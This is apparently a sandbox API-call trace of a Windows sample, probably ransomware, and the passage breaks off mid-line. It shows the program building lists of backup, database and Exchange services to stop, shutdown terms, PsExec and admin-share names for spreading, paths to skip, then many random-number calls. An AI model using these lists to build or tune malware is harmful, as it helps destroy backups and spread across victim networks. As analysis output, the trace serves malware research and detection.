DestinationString=0x1c7fe1b0, SourceString="*backup*" | out: DestinationString="*backup*") [0085.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*backup*", AllocateDestinationString=1 | out: DestinationString="*backup*") returned 0x0 [0085.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cb20 [0085.190] RtlFreeAnsiString (AnsiString="*") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="apach*" | out: DestinationString="apach*") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cb40 [0085.191] RtlFreeAnsiString (AnsiString="a") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="firebird*" | out: DestinationString="firebird*") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="firebird*", AllocateDestinationString=1 | out: DestinationString="firebird*") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cb60 [0085.191] RtlFreeAnsiString (AnsiString="f") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ibmiasrw" | out: DestinationString="ibmiasrw") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ibmiasrw", AllocateDestinationString=1 | out: DestinationString="ibmiasrw") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cb80 [0085.191] RtlFreeAnsiString (AnsiString="i") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="IBM Domino*" | out: DestinationString="IBM Domino*") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="IBM Domino*", AllocateDestinationString=1 | out: DestinationString="IBM Domino*") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cba0 [0085.191] RtlFreeAnsiString (AnsiString="I") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="Simply Accounting Database Connection Manager" | out: DestinationString="Simply Accounting Database Connection Manager") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="Simply Accounting Database Connection Manager", AllocateDestinationString=1 | out: DestinationString="Simply Accounting Database Connection Manager") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1a30 [0085.191] RtlFreeAnsiString (AnsiString="S") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="IASJet" | out: DestinationString="IASJet") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="IASJet", AllocateDestinationString=1 | out: DestinationString="IASJet") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cbc0 [0085.191] RtlFreeAnsiString (AnsiString="I") [0085.191] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="QB*" | out: DestinationString="QB*") [0085.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0 [0085.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824430 [0085.192] RtlFreeAnsiString (AnsiString="Q") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*sql*" | out: DestinationString="*sql*") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cbe0 [0085.192] RtlFreeAnsiString (AnsiString="*") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="sql*" | out: DestinationString="sql*") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82cc00 [0085.192] RtlFreeAnsiString (AnsiString="s") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="QuickBooksDB*" | out: DestinationString="QuickBooksDB*") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="QuickBooksDB*", AllocateDestinationString=1 | out: DestinationString="QuickBooksDB*") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829fd0 [0085.192] RtlFreeAnsiString (AnsiString="Q") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="IISADMIN" | out: DestinationString="IISADMIN") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="IISADMIN", AllocateDestinationString=1 | out: DestinationString="IISADMIN") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cc20 [0085.192] RtlFreeAnsiString (AnsiString="I") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="omsad" | out: DestinationString="omsad") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="omsad", AllocateDestinationString=1 | out: DestinationString="omsad") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cc40 [0085.192] RtlFreeAnsiString (AnsiString="o") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="dc*32" | out: DestinationString="dc*32") [0085.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="dc*32", AllocateDestinationString=1 | out: DestinationString="dc*32") returned 0x0 [0085.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cc60 [0085.192] RtlFreeAnsiString (AnsiString="d") [0085.192] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="server Administrator" | out: DestinationString="server Administrator") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="server Administrator", AllocateDestinationString=1 | out: DestinationString="server Administrator") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7c00 [0085.193] RtlFreeAnsiString (AnsiString="s") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wbengine" | out: DestinationString="wbengine") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wbengine", AllocateDestinationString=1 | out: DestinationString="wbengine") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cc80 [0085.193] RtlFreeAnsiString (AnsiString="w") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="mr2kserv" | out: DestinationString="mr2kserv") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="mr2kserv", AllocateDestinationString=1 | out: DestinationString="mr2kserv") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cca0 [0085.193] RtlFreeAnsiString (AnsiString="m") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="MSExchange*" | out: DestinationString="MSExchange*") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="MSExchange*", AllocateDestinationString=1 | out: DestinationString="MSExchange*") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82ccc0 [0085.193] RtlFreeAnsiString (AnsiString="M") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ShadowProtectSvc" | out: DestinationString="ShadowProtectSvc") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ShadowProtectSvc", AllocateDestinationString=1 | out: DestinationString="ShadowProtectSvc") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a000 [0085.193] RtlFreeAnsiString (AnsiString="S") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="SP*4" | out: DestinationString="SP*4") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="SP*4", AllocateDestinationString=1 | out: DestinationString="SP*4") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82cce0 [0085.193] RtlFreeAnsiString (AnsiString="S") [0085.193] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="teamviewer" | out: DestinationString="teamviewer") [0085.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="teamviewer", AllocateDestinationString=1 | out: DestinationString="teamviewer") returned 0x0 [0085.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cd00 [0085.194] RtlFreeAnsiString (AnsiString="t") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="MMS" | out: DestinationString="MMS") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="MMS", AllocateDestinationString=1 | out: DestinationString="MMS") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b824440 [0085.194] RtlFreeAnsiString (AnsiString="M") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="AcronisAgent" | out: DestinationString="AcronisAgent") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="AcronisAgent", AllocateDestinationString=1 | out: DestinationString="AcronisAgent") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a030 [0085.194] RtlFreeAnsiString (AnsiString="A") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ARSM" | out: DestinationString="ARSM") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ARSM", AllocateDestinationString=1 | out: DestinationString="ARSM") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82cd20 [0085.194] RtlFreeAnsiString (AnsiString="A") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="AcrSch2Svc" | out: DestinationString="AcrSch2Svc") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="AcrSch2Svc", AllocateDestinationString=1 | out: DestinationString="AcrSch2Svc") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cd40 [0085.194] RtlFreeAnsiString (AnsiString="A") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="vsnapvss" | out: DestinationString="vsnapvss") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="vsnapvss", AllocateDestinationString=1 | out: DestinationString="vsnapvss") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cd60 [0085.194] RtlFreeAnsiString (AnsiString="v") [0085.194] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="SPXService" | out: DestinationString="SPXService") [0085.194] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="SPXService", AllocateDestinationString=1 | out: DestinationString="SPXService") returned 0x0 [0085.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cd80 [0085.194] RtlFreeAnsiString (AnsiString="S") [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="StorageCraft ImageManager" | out: DestinationString="StorageCraft ImageManager") [0085.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="StorageCraft ImageManager", AllocateDestinationString=1 | out: DestinationString="StorageCraft ImageManager") returned 0x0 [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7c40 [0085.195] RtlFreeAnsiString (AnsiString="S") [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="wrsvc" | out: DestinationString="wrsvc") [0085.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="wrsvc", AllocateDestinationString=1 | out: DestinationString="wrsvc") returned 0x0 [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cda0 [0085.195] RtlFreeAnsiString (AnsiString="w") [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="stc_endpt_svc" | out: DestinationString="stc_endpt_svc") [0085.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="stc_endpt_svc", AllocateDestinationString=1 | out: DestinationString="stc_endpt_svc") returned 0x0 [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a060 [0085.195] RtlFreeAnsiString (AnsiString="s") [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="acrsch2svc*" | out: DestinationString="acrsch2svc*") [0085.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="acrsch2svc*", AllocateDestinationString=1 | out: DestinationString="acrsch2svc*") returned 0x0 [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cdc0 [0085.195] RtlFreeAnsiString (AnsiString="a") [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d25a0 [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="reboot" | out: DestinationString="reboot") [0085.195] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="reboot", AllocateDestinationString=1 | out: DestinationString="reboot") returned 0x0 [0085.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cde0 [0085.195] RtlFreeAnsiString (AnsiString="r") [0085.195] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="restart" | out: DestinationString="restart") [0085.196] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="restart", AllocateDestinationString=1 | out: DestinationString="restart") returned 0x0 [0085.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82ce00 [0085.196] RtlFreeAnsiString (AnsiString="r") [0085.196] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="shutdown" | out: DestinationString="shutdown") [0085.196] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="shutdown", AllocateDestinationString=1 | out: DestinationString="shutdown") returned 0x0 [0085.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82ce20 [0085.196] RtlFreeAnsiString (AnsiString="s") [0085.196] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="logoff" | out: DestinationString="logoff") [0085.196] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="logoff", AllocateDestinationString=1 | out: DestinationString="logoff") returned 0x0 [0085.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82ce40 [0085.196] RtlFreeAnsiString (AnsiString="l") [0085.196] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="back" | out: DestinationString="back") [0085.196] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="back", AllocateDestinationString=1 | out: DestinationString="back") returned 0x0 [0085.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82ce60 [0085.196] RtlFreeAnsiString (AnsiString="b") [0085.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b824e20 [0085.197] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ipc$" | out: DestinationString="ipc$") [0085.197] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ipc$", AllocateDestinationString=1 | out: DestinationString="ipc$") returned 0x0 [0085.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82cea0 [0085.197] RtlFreeAnsiString (AnsiString="i") [0085.197] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="admin$" | out: DestinationString="admin$") [0085.197] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="admin$", AllocateDestinationString=1 | out: DestinationString="admin$") returned 0x0 [0085.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cec0 [0085.197] RtlFreeAnsiString (AnsiString="a") [0085.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7b80 [0085.198] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="psexec.exe" | out: DestinationString="psexec.exe") [0085.198] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="psexec.exe", AllocateDestinationString=1 | out: DestinationString="psexec.exe") returned 0x0 [0085.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cee0 [0085.198] RtlFreeAnsiString (AnsiString="p") [0085.198] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="system" | out: DestinationString="system") [0085.198] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="system", AllocateDestinationString=1 | out: DestinationString="system") returned 0x0 [0085.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cf00 [0085.198] RtlFreeAnsiString (AnsiString="s") [0085.198] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="forti*.exe" | out: DestinationString="forti*.exe") [0085.198] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="forti*.exe", AllocateDestinationString=1 | out: DestinationString="forti*.exe") returned 0x0 [0085.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cf20 [0085.199] RtlFreeAnsiString (AnsiString="f") [0085.199] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="fmon.exe" | out: DestinationString="fmon.exe") [0085.199] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="fmon.exe", AllocateDestinationString=1 | out: DestinationString="fmon.exe") returned 0x0 [0085.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cf40 [0085.199] RtlFreeAnsiString (AnsiString="f") [0085.199] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="fcaptmon.exe" | out: DestinationString="fcaptmon.exe") [0085.199] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="fcaptmon.exe", AllocateDestinationString=1 | out: DestinationString="fcaptmon.exe") returned 0x0 [0085.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a0c0 [0085.199] RtlFreeAnsiString (AnsiString="f") [0085.199] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="FCHelper64.exe" | out: DestinationString="FCHelper64.exe") [0085.199] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="FCHelper64.exe", AllocateDestinationString=1 | out: DestinationString="FCHelper64.exe") returned 0x0 [0085.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a0f0 [0085.199] RtlFreeAnsiString (AnsiString="F") [0085.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a090 [0085.199] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\windows*" | out: DestinationString="*:\\windows*") [0085.199] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\windows*", AllocateDestinationString=1 | out: DestinationString="*:\\windows*") returned 0x0 [0085.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cf60 [0085.199] RtlFreeAnsiString (AnsiString="*") [0085.199] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\winnt*" | out: DestinationString="*:\\winnt*") [0085.200] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\winnt*", AllocateDestinationString=1 | out: DestinationString="*:\\winnt*") returned 0x0 [0085.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cf80 [0085.200] RtlFreeAnsiString (AnsiString="*") [0085.200] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\program file*\\vmwar*" | out: DestinationString="*:\\program file*\\vmwar*") [0085.200] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\program file*\\vmwar*", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmwar*") returned 0x0 [0085.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7cc0 [0085.200] RtlFreeAnsiString (AnsiString="*") [0085.200] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\Program File*\\Fortinet" | out: DestinationString="*\\Program File*\\Fortinet") [0085.200] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\Program File*\\Fortinet", AllocateDestinationString=1 | out: DestinationString="*\\Program File*\\Fortinet") returned 0x0 [0085.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7d00 [0085.200] RtlFreeAnsiString (AnsiString="*") [0085.200] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\Program File*\\Cisco" | out: DestinationString="*\\Program File*\\Cisco") [0085.200] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\Program File*\\Cisco", AllocateDestinationString=1 | out: DestinationString="*\\Program File*\\Cisco") returned 0x0 [0085.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7d40 [0085.200] RtlFreeAnsiString (AnsiString="*") [0085.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a4cb0 [0085.203] GetCurrentProcessId () returned 0xaf8 [0085.204] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x1b7a4cb8 | out: Wow64Process=0x1b7a4cb8) returned 1 [0085.204] RtlGetVersion (in: lpVersionInformation=0x1c7fe110 | out: lpVersionInformation=0x1c7fe110*(dwOSVersionInfoSize=0x1b7d21b0, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0085.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a120 [0085.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a150 [0085.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a180 [0085.204] NtQuerySystemTime (in: CurrentTime=0x1c7fe030 | out: CurrentTime=0x1c7fe030*=132462176910802000) returned 0x0 [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x41a30bb4 [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x27aeaf8d [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x3f16e5ec [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x337ec65d [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x33a57a90 [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x415843ef [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x7fdbc201 [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x5c12607c [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x7e03f31f [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x174316ba [0085.204] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x6b7239d0 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x62892d12 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x42a79016 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x391632d4 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x6f7fdddd [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x7cffb876 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x70e8c79e [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x72a3c337 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0xb944acd [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x2085e0a7 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x33a57a90 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x5fc7b661 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x35b59362 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x6b536ff [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x699ca39d [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x346a48a2 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x7c706cd3 [0085.205] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x43f52ce4 [0085.206] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x5e5d619c [0085.206] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x7ccd290f [0085.206] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x6a05fbd4 [0085.206] RtlRandomEx (in: Seed=0x1c7fe090 | out: Seed=0x1c7fe090) returned 0x5d340fb2 [0085.225] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x1063d523 [0085.225] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x7e49c042 [0085.225] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x256cfa59 [0085.225] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x24cd538 [0085.225] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x68495313 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x580073a0 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x3979a3b4 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x77da0d12 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5decdcfe [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5037de2e [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x605ccc39 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x3f16e5ec [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x1f054203 [0085.226] 